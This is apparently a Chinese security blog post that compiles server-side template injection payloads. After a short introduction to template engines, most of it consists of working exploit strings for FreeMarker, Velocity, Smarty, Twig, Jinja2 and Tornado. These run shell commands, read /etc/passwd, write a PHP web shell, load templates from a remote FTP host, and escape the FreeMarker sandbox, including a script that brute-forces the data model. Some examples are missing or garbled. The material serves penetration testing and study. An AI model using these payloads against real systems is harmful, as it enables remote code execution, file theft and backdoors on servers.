模板注入漏洞汇总

模板注入漏洞汇总


之前在项目中碰到的FreeMark模板注入,才开始注意到模板注入漏洞,这里总结下模板注入漏洞汇总集合。

模板引擎

介绍

在MVC的设计模式下,一般从 Model 层中读取数据,然后将数据传到 View 层渲染(渲染成 HTML 文件),而 View 层一般都会用到模板引擎。

模板引擎包含了各种参数,并能够由模板处理系统通过识别某些特定语法来替换这些参数的文档,用来生成输出文本(HTML网页,电子邮件,配置文件,源代码等)。

模板专注于如何展现数据,而在模板之外可以专注于要展示什么数据。模板引擎可以让网站程序实现界面与数据分离,业务代码与逻辑代码分离,这样提升了开发效率,良好的设计也使得代码重用变得更加容易。

分类

模板引擎分为服务端和客户端:

1) 客户端模板引擎:主要结合js实现html,一种是常规字符串模板引擎,包括doT.js、dust.js、mustache.js;

另一种是Dom模板引擎,包括vue.js、Angular.js、React.js等。

2) 服务端模板引擎:由各服务端语言生成html返回客户端,主要包括:

PHP:Smarty、Twig;

Java:Freemarker、Velocity;

Python:Jinja2、Tornado、Marko;

Ruby:Slim、ERB;

NodeJS:Jade等

渲染

后端模板引擎

以JSP举例说明:

看到上面的JSP代码,<%%>里面的为Java代码,为模板内容,而

标签里面的则为页面内容。当JSP代码在服务端被运行成Servlet Class后,
标签会被添加引号成为字符串,输出字符串内容在服务端运行。

前端模板引擎

前端模板引擎依赖客户端,在浏览器渲染页面而不依赖服务端。

注入漏洞

漏洞简介

任何一项新技术的引入同时也会带来新的攻击方式。除了常规的 XSS 外,注入到模板中的代码还有可能引发 RCE(远程代码执行)。通常来说,这类问题会在博客,CMS,wiki 中产生。虽然模板引擎本身会提供沙箱机制,但攻击者依然有许多手段绕过它。

看一个销售软件的例子,业务场景中要求发送大量的邮件给客户,并在每封邮件前插入问候语:

这段代码的功能是,通过Twig模板引擎可以把输入转换成特定的HTML文件或者email格式进行相应输出。

很明显我们会发现代码存在xss,但问题不止如此,如果我们输入custom_email=49,$output结果为49。

漏洞检测步骤

客户端的模板注入(CSTI)只能XSS,而服务端模板注入(SSTI)则可能造成XSS、LFI和任意代码执行。

漏洞检测步骤分为:探测、判断、利用(读取、探索、攻击)

探测漏洞

1、文本类型

大多数的模板都支持文本的输入和输出:

如:freemarker=Hello ${username},smarty=Hello {user.name}

探测方法有两种:

1)XSS语句弹框测试;

2)使用模板语法:

如reemarker=Hello${7*7},输出为Hello 49

2、代码类型

用户输入也可以放在模板语句中,通常作为变量名称,

如:personal_greeting=username

这种情况下,XSS的方法就无效了。但是我们可以通过破坏 template 语句,并附加注入的HTML标签以确认漏洞,

如:personal_greeting=username

判断漏洞

当检测存在模板漏洞后,我们需要判断具体的模板引擎,比如使用不同的字符进行判断通过返回的错误提示来判断目标模板类型。

根据不同模板引擎的特性,通过输入上述payload可以快速判断出模板引擎。

漏洞利用

构造payload还是要根据各个模板特性来进行构造:

1
2
3
4
5
1.Template使用手册,一些基本的语法

2.内建方法、函数、变量、过滤器

3.插件、扩展及沙箱机制

模板分类

下面针对多个模板的payload进行总结。

FreeMarker

FreeMaker 是 Java 下最受欢迎的模板引擎,在查看文档时我们发现有两个已发布的可接受用户输入并执行命令的类实现TemplateModel:

<#assigntest=”freemarker.template.utility.Execute”?new()>

<#assignob=”freemarker.template.utility.ObjectConstructor”?new()>

**<#assign value=”freemarker.template.utility.JythonRuntime”?new()>**可以通过自定义标签的方式,执行Python命令,从而构造远程命令执行漏洞。

payloads:

1
2
3
4
5
<#assign value="freemarker.template.utility.Execute"?new()>${value("calc.exe")}

<#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","calc.exe").start()}

<#assign value="freemarker.template.utility.JythonRuntime"?new()><@value>import os;os.system("calc.exe")</@value>

Velocity

Velocity是另一种流行的Java模板语言,同样发现了两个可以利用的方法和属性:

1
2
3
$ class.inspect(类/对象/串) 返回一个检查指定类或对象的新ClassTool实例

$ class.type 返回正在检查的实际类

可以使用$ class.type 链接$ class.inspect以获取对任意对象的引用。然后使用Runtime.exec()在目标系统上执行任意shell命令:

1
$class.inspect("java.lang.Runtime").type.getRuntime().exec("bad-stuff-here")
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#set($x='')##

#set($rt=$x.class.forName('java.lang.Runtime'))##

#set($chr=$x.class.forName('java.lang.Character'))##

#set($str=$x.class.forName('java.lang.String'))##

#set($ex=$rt.getRuntime().exec('ls'))##

$ex.waitFor()

#set($out=$ex.getInputStream())##

#foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end

Smarty

Smarty 是一款 PHP 的模板语言。它使用安全模式来执行不信任的模板,只运行 PHP 白名单里的函数,因此我们不能直接调用 system()。而文档表示可以通过 $smarty 来获取环境变量,我们又发现了 也可以使用getStreamVariable进行读取和写任意文件。

1)任意读取文件

1
{self::getStreamVariable("ile:///etc/passwd")}

2)文件创建后门

1
{Smarty_internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET["cmd"]);?>",self::clearConfig())}

Twig

Twig可能是PHP最流行的模板库,它是由Synfony(一个非常流行的PHP框架)的创建者开发的。

Twig语法不仅简单,而且非常紧凑。下面是几个基本的变量绑定的例子。

1
2
3
Hello {{ var }}

Hello {{ var|escape }}

Swig 和 Smarty 类似,不过我们不能用它调用静态方法。但它提供了 _self,提供了指向 Twig_Environment 的env 属性。Twig_Environment 其中的 setCache 方法则能改变 Twig 加载 PHP 文件的路径。这样就可以通过改变路径实现 RFI:

1
{{_self.env.setCache("ftp://xxx.xxx.xxx:xxxx")}}{{_self.env.loadtemplate("backdoor")}}

在 getFilter 里有危险函数 call_user_func。通过传递传递参数到该函数中,可以调用任意 PHP 函数,注册 exec 为 filter 的回调函数并调用造成命令执行。在下面的有效载荷中,命令id被执行后,将返回当前用户的id(Linux)

1
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

Jade

Jade 是一款 Node.js 模板引擎,可以在Node.js等框架中使用,它有比较简单的语法和编写方式:

Jinja

Jinja是Python中一个流行的模板引擎,它与Django模板非常相似。不过,与Django模板相比,Jinsa可以轻松地在运行时动态使用。Django模板被设计为存储在静态文件中的动态视图。

下面是几个简单的表达式,用于演示Jinja的基本语法。

1
2
3
4
5
6
7
8
9
10
11
//String

{{ message }}

//Accessing an attribute

{{ foo.bar }}

//Accessing an attribute (alternative)

{{ foo['bar'] }}

涉及到的所有类型如下:

1
2
3
{{''.__class__.__mro__[2].__subclasses__()}}

<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'> [...]

payload

对象子类列表中索引40对应的元素是subclasses()[40],我们可以使用该类型来读取任意文件。

1
2
3
4
5
{{''.__class__.__mro__[2].__subclasses__()[40]("/etc/passwd","r").read()}}

//The previous extension is analog to

file("/etc/passwd","r").read()

仅适用于Python 2.7(python2和python3中可能子类索引有区别)

OS模块(Python 2.7)

先执行一个命令并将命令输出临时存储在temp文件夹中,然后,再使用另一个Jinja表达式来读取命令输出。

1
{{ ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals['linecache'].__dict__.values()[12].system('id > /tmp/cmd') }}{{''.__class__.__mro__[2].__subclasses__()[40]("/tmp/cmd","r").read() }}

Tornado

Tornado模板是Tornado(一款流行的Python Web框架)中的一个引擎。针对该模版的练习非常简单,这表明:有时候仅需阅读库文档就能找到强大的功能。

基本数据绑定

1
Hello {{userName}}

pyload

一个完整的payload,它用于导入os模块,并执行方法popen(即打开进程)

1
2
3
{%import os%}

{{os.popen("whoami").read()}}

Freemaker沙箱逃逸

值得一提的是,Freemarker确实提供了一种方法来限制模板中的类引用,接下来的练习将按照文档中的描述实现一个ClassResolver。

但从从2.3.17版本开始后使用Configuration.setNewBuiltinClassResolver(TemplateClassResolver)或者new_builtin_class_resolver设置来限制这个内置寒水可以访问哪些类。

Freemarker中的沙盒

Freemarker具有过滤哪些类允许访问的功能。例如,需要实现TemplateClassResolver类的子类,这个类将决定模板中的类引用是否被允许。

1
2
3
4
5
6
7
8
9
<ul>

<#list .data_model?keys as key>

<li>${key}</li>

</#list>

</ul>

或者:

1
${.data_model.keySet()}

查找对类加载器的引用

Classloader类的实例有可能给我们提供远程代码执行(RCE)权限。例如,类加载器可以从外部提供方法加载类(Java字节码)。

以下是可能返回Classloader的常见位置列表。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
java.lang.Class.getClassLoader()

java.lang.Thread.getCurrentClassLoader()

java.lang.ProtectionDomain.getClassLoader()

javax.servlet.ServletContext.getClassLoader()

org.osgi.framework.wiring.BundleWiring.getClassLoader()

org.springframework.context.ApplicationContext.getClassLoader()

这些API将转换为以下Freemarker语法形式。

//java.lang.Object.getClass() -> java.lang.Class.getClassLoader()

${any_object.class.classLoader}

//javax.servlet.ServletRequest -> javax.servlet.ServletContext.getClassLoader()

${request.servletContext.classLoader

并非所有的类加载器都是相同的

尽管不同的类加载器可能有一个公共的子类,但是,它们的实现却差别很大。不同的Web容器(托管Java应用的Web服务器)在运行时将使用不同的类加载器。因此,我们需要调整我们的payload来锁定正确的目标。

读取文件/目录列表

1
2
3
4
5
6
7
<#assign uri = classLoader.getResource("META-INF").toURI() >

<#assign url = uri.resolve("file:///etc/passwd").toURL() >

<#assign bytes = url.openConnection().inputStream.readAllBytes() >

${bytes}

通用方法

Oleksandr Mirosh和Alvaro Mu?oz 在他们的文章中详细介绍了Web容器特有的各种链条。这些容器包括Tomcat、Jetty、GlassFish、WebLogic和WebSphere。如果您想寻找Freemarker之外的沙盒的逃逸技术,这些都是一个很好的灵感来源。

然而,如果您的目标是利用当前的模板引擎,则存在一个通用的payload(也是来自上面提及的同一篇文章),适用于Freemarker 2.3.29以及更低版本(2020年3月以及修复了该漏洞)。为此,您需要在数据模型中找到一个作为对象的变量。

1
2
3
4
5
6
7
8
9
<#assign classloader=<<object>>.class.protectionDomain.classLoader>

<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>

<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>

<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>

${dwf.newInstance(ec,null)("whoami")}

对数据模型中的所有变量进行暴力枚举

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<#list .data_model as key, object_test>

<b>Testing "${key}":</b><br/>

<#attempt>

<#assign classloader=object_test.class.protectionDomain.classLoader>

<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>

<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>

<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>

Shell ! (

${dwf.newInstance(ec,null)("id")}

)

<#recover>

failed

</#attempt>

<br/><br/>

</#list>

参考文章

模板注入漏洞全汇总 - 云+社区 - 腾讯云 (tencent.com)

详解模板注入漏洞(下) - 云+社区 - 腾讯云 (tencent.com)

详解模板注入漏洞(上) (qq.com)

打赏
  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2021-2024 John Doe
  • 访问人数: | 浏览次数:

让我给大家分享喜悦吧!

微信